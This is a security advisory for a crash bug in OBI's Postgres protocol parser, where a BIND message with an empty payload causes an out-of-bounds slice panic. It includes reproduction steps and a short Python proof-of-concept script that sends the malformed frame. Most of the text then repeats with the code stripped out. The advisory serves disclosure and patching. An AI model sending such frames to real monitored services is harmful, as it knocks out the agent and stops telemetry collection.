Summary
The Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic.
Details
The vulnerable logic is in pkg/ebpf/common/sql_detect_postgres.go. In the BIND case, OBI converts the full payload to a string with unix.ByteSliceToString(msg.data), computes portalLen := len(portal) + 1, and then slices msg.data[portalLen:] to derive the statement name.
There is no check that msg.data actually contains a NUL terminator or even enough bytes for portalLen. With an empty payload or a truncated message, portalLen can exceed the slice length and trigger a runtime panic.
PoC
Local testing with a minimal reproducer showed the expected slice bounds out of range crash for an empty BIND payload.
Use a vulnerable build:
git checkout v0.0.0-rc.1+build
make build
Start a local Postgres instance and OBI:
docker run --rm -e POSTGRES_PASSWORD=postgres -p 5432:5432 postgres:17
sudo ./bin/obi
Send a malformed BIND frame with an empty payload:
# save as /tmp/pg-bind-poc.py
import socket, struct
tag = b'B'
length = struct.pack(">I", 4)
payload = b""
s = socket.create_connection(("127.0.0.1", 5432))
s.sendall(tag + length + payload)
s.close()
Run it:
python3 /tmp/pg-bind-poc.py
On a vulnerable build, the Postgres parser in OBI panics while processing the captured payload.
Impact
This is a remote availability issue in OBI's Postgres parser. Any attacker able to send malformed Postgres traffic to a monitored service can crash the agent and stop telemetry collection for that node or process.
References
Summary
The Postgres protocol parser assumes
BINDmessage payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic.Details
The vulnerable logic is in pkg/ebpf/common/sql_detect_postgres.go. In the
BINDcase, OBI converts the full payload to a string withunix.ByteSliceToString(msg.data), computesportalLen := len(portal) + 1, and then slicesmsg.data[portalLen:]to derive the statement name.There is no check that
msg.dataactually contains a NUL terminator or even enough bytes forportalLen. With an empty payload or a truncated message,portalLencan exceed the slice length and trigger a runtime panic.PoC
Local testing with a minimal reproducer showed the expected
slice bounds out of rangecrash for an empty BIND payload.Use a vulnerable build:
Start a local Postgres instance and OBI:
Send a malformed
BINDframe with an empty payload:Run it:
On a vulnerable build, the Postgres parser in OBI panics while processing the captured payload.
Impact
This is a remote availability issue in OBI's Postgres parser. Any attacker able to send malformed Postgres traffic to a monitored service can crash the agent and stop telemetry collection for that node or process.
References